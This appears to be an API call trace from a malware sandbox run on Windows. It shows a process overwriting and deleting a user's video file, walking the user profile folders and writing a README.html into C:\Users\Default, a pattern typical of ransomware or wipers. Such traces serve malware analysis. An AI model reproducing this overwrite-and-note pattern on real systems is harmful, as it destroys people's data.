	[0082.248] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\xFzbLSmDcbxo.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\xfzblsmdcbxo.avi")) returned 1
	[0082.265] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.266] SetEvent (hEvent=0xa8) returned 1
	[0082.266] SetEvent (hEvent=0x8c) returned 1
	[0082.270] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.270] SetEvent (hEvent=0x8c) returned 1
	[0082.270] SetEvent (hEvent=0x80) returned 1
	[0082.271] SetEvent (hEvent=0x78) returned 1
	[0082.271] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.271] SetEvent (hEvent=0x78) returned 1
	[0082.272] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.273] SetEvent (hEvent=0x78) returned 1
	[0082.273] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.273] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.273] SetEvent (hEvent=0x78) returned 1
	[0082.273] SetEvent (hEvent=0x80) returned 1
	[0082.273] SetEvent (hEvent=0x8c) returned 1
	[0082.273] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.274] SetEvent (hEvent=0x8c) returned 1
	[0082.274] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\xFzbLSmDcbxo.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\xfzblsmdcbxo.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.274] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0082.275] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0082.295] CloseHandle (hObject=0xc0) returned 1
	[0082.295] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\xFzbLSmDcbxo.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\xfzblsmdcbxo.avi")) returned 1
	[0082.298] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8)) returned 1
	[0082.298] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat.log1"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c16ca00, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000)) returned 1
	[0082.298] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat.log2"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.298] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc238 | out: lpFileInformation=0x123fc238*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14)) returned 1
	[0082.299] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\windows" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\windows"), fInfoLevelId=0x0, lpFileInformation=0x123fc288 | out: lpFileInformation=0x123fc288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3821e60, ftCreationTime.dwHighDateTime=0x1d52dc5, ftLastAccessTime.dwLowDateTime=0x3821e60, ftLastAccessTime.dwHighDateTime=0x1d52dc5, ftLastWriteTime.dwLowDateTime=0x3829390, ftLastWriteTime.dwHighDateTime=0x1d52dc5, nFileSizeHigh=0x0, nFileSizeLow=0x6ac)) returned 1
	[0082.299] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users" (normalized: "c:\\users\\all users"), fInfoLevelId=0x0, lpFileInformation=0x123fc2d8 | out: lpFileInformation=0x123fc2d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.299] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default" (normalized: "c:\\users\\default"), fInfoLevelId=0x0, lpFileInformation=0x123fc378 | out: lpFileInformation=0x123fc378*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0082.299] CreateFileW (lpFileName="C:\\Users\\Default" (normalized: "c:\\users\\default"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.299] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*", lpFindFileData=0x127ef9e0 | out: lpFindFileData=0x127ef9e0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.299] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.299] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1
	[0082.299] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0082.299] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="NTUSER~3.LOG")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x674ac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1
	[0082.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.300] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.301] CreateFileW (lpFileName="C:\\Users\\Default\\README.html" (normalized: "c:\\users\\default\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.301] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eedf8 | out: lpMode=0x127eedf8) returned 0
	[0082.301] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eede8, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eede8*=0xc5a, lpOverlapped=0x0) returned 1
